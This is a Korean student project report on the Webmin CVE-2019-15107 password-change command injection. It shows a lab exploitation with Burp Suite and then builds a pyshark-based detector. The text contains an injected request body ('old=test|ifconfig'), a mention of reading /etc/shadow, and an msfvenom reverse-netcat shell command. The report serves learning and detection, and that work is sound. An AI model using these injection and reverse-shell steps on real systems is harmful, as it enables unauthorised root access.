
학교 프로젝트
I. CVE-2019-15107 개요
Webmin은 Unix 시스템 관리를 위한 웹 기반 인터페이스입니다. 모든 웹 브라우저를 사용하여 사용자 계정, Apache, DNS, 파일 공유 등을 설정할 수 있습니다.
2019년 8월 10일, 터키의 사이버 보안 연구원 Özkan Mustafa Akkuş가 DefCon에서 제로데이 취약점을 공개했으며, Akkuş는 취약점 공개 외에도 이 취약점의 자동화된 악용을 위한 Metasploit 모듈을 발표했습니다. 이 취약점은 password_change.cgi 파일의 비밀번호 재설정 기능에서 코드 실행이 발생하여, 입력 인증 없이 제3자가 악성 코드를 실행할 수 있도록 합니다.
II. 영향을 받는 버전
이 취약점은 Webmin 1.882부터 1.921까지의 버전에 영향을 미칩니다. 이 취약점을 방지하려면 Webmin을 사용하는 경우 최신 버전인 1.93으로 업데이트해야 합니다.
III. 취약점 분석
Webmin에서 "사용자 비밀번호 변경 허용" 기능이 활성화되어 있어야 이 취약점을 악용할 수 있습니다. 이것이 유일한 조건이지만, 많은 Webmin 관리자가 이 기능을 활성화합니다. 이 기능은 사용자가 이전 비밀번호로 새 비밀번호를 설정할 수 있게 합니다. Webmin 애플리케이션 소스 코드에는 주목할 만한 ".cgi" 파일이 몇 개 있습니다. 그중 하나가 password_change.cgi입니다.

이 파일의 매개변수가 작동하려면 한 가지 요구 사항이 있는데, 바로 "miniserv.conf" 구성 파일의 "passwd_mode" 값이 "2"로 설정되어야 한다는 것입니다.

이 시점에서 우리는 이전 비밀번호 확인 과정에서 "|"를 사용하여 /etc/shadow 파일을 읽을 것입니다. 일반적인 비밀번호 변경 명령문의 예:

아래 그림과 같이 비밀번호 변경 명령문에 "ifconfig"와 같은 간단한 명령어를 추가로 삽입하면 "ipconfig" 명령어가 실행되고 결과가 표시됩니다.

IV. 배포 모델
Ubuntu 머신(victim)에 Webmin 버전 1.920 설치, IP 주소: 192.168.109.128

Kali 머신(attacker), IP 주소: 192.168.109.131


V. CVE 취약점 악용

그런 다음 attacker 머신은 이 요청을 Burp Suite의 Repeater 탭으로 보내 오류를 테스트합니다.

Attacker는 캡처한 요청 패킷에서 일부 정보를 수정합니다. 비밀번호를 변경하려면 HTTP Method가 초기의 GET이 아닌 POST여야 하기 때문입니다.

그런 다음 attacker 머신은 이전 비밀번호에서 변경하는 요청을 victim의 Webmin 서버로 보냅니다:
"user=test&pam=&old=test&new1=test2&new2=test2"

요청을 보내면 "현재 비밀번호가 일치하지 않습니다(The current password is incorrect)"라는 메시지를 받게 되므로, 핵심은 "old" 매개변수에 있습니다.
다음으로, "old" 매개변수 뒤에 ifconfig와 같은 기본 명령어를 삽입하여 서버가 이전 비밀번호를 확인할 때 삽입한 명령어를 함께 실행하도록 시도합니다. 예:
"user=test&pam=&old=test|ifconfig&new1=test2&new2=test2"

위와 마찬가지로 서버가 이전 비밀번호를 확인하면 여전히 틀리지만, 비밀번호 확인 후 "ifconfig" 명령어가 실행되어 결과가 표시됩니다.
그런 다음, root 권한을 탈취하기 위해 Metasploit 프레임워크를 사용하여 페이로드를 생성하고 victim의 Webmin 서버로 전송하여 셸 세션을 받습니다.
"msfvenom -p cmd/unix/reverse_netcat lhost= lport="

다음으로, 페이로드를 복사하여 Burp Suite의 요청에 삽입합니다.

페이로드가 포함된 요청을 Webmin 서버로 전송하면 victim 머신이 리버스 셸에 감염됩니다. Attacker 머신은 피해자 머신(IP: 192.168.109.128 port 37218)으로부터 셸 세션을 받습니다.

이로써 이 CVE 취약점을 통해 root 권한을 탈취했습니다.

VI. 공격 시그니처 식별
Wireshark를 사용하여 네트워크 계층의 패킷을 캡처합니다.

이 CVE를 악용하기 위해 attacker는 /password_change.cgi 링크를 통해 HTTP의 POST Method로 악성 페이로드가 포함된 요청을 보내야 하므로, Wireshark에서 캡처한 HTTP 패킷을 분석해야 합니다.

Webmin 서버가 변경하려는 이전 비밀번호를 확인하는 과정에서 "ifconfig" 명령어가 삽입된 것을 볼 수 있습니다.

따라서 이 CVE의 시그니처는 /password_change.cgi 링크를 통한 비밀번호 변경 과정에서 전달되는 매개변수입니다. "user=test&pam=&old=test | <attacker가 실행하려는 명령어> &new1=test2&new2=test2" VII. CVE-2019-15107 공격 탐지 도구 구축
위에서 분석한 바와 같이, attacker가 이 CVE를 악용하려면 "old" 매개변수("이전 비밀번호")에 명령어를 삽입해야 합니다.

이 CVE 취약점을 기반으로 명령어를 삽입하려는 사람들을 탐지하려면 "pyshark" 도구를 사용하여 전송되는 HTTP 패킷을 캡처하고 분석해야 합니다.

캡처된 HTTP 패킷의 데이터는 Hex 형식으로 반환됩니다. "old=" 매개변수와 "|"를 기반으로 누군가 이 CVE를 악용하려는 시도를 감지할 수 있습니다. checkPayload 함수는 HTTP 패킷에 문제가 있는지 확인합니다.

그 다음, 문제가 있는 HTTP 패킷이 식별되면 getCommand 함수가 attacker가 실행 중인 명령어를 출력합니다.

패킷 캡처 및 분석 과정은 .csv 파일로 기록됩니다.

VIII. 프로그램 데모
Attacker가 공격을 수행하면 프로그램이 실시간으로 경고합니다.

프로그램을 중지하면 실행 중 캡처된 모든 트래픽(payload http는 hex 형식)이 포함된 .csv 파일이 기록됩니다.

프로그램은 위험 경고 로그도 기록합니다.

IX. 결론 학습 과정과 수업 실습을 통해 악성 코드 분석 및 이해 과정을 어느 정도 이해할 수 있었습니다. CVE-2019-15107 취약점을 악용하고 탐지 프로그램을 구축함으로써 배운 지식을 시그니처 기반 취약점 탐지 프로그램 분석 및 구축에 적용할 수 있었으며, 이를 통해 분석, 탐지, 정보 처리 능력과 네트워크 보안 모니터링 역량을 향상시킬 수 있었습니다.